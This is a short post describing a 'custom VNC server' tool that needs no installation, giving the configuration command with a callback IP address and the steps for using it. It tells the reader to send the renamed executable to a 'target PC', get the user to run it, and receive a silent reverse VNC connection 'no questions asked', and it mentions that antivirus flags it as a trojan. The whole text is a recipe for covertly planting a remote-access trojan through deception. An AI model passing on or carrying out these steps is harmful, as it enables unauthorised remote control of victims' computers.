Custom VNC server
Custom VNC server that does not need to be installed. First configure it like this:
vncSimple.exe NewExeName.exe 18.104.22.168
Now send NewExeName.exe to target PC and ask user to run it. It initiates VNC callback connection to IP-address you defined above, no questions asked. Be sure you have listen mode viewer running on that IP address. (or ssh tunnel)
It seems McAfee now considers this program as troijan.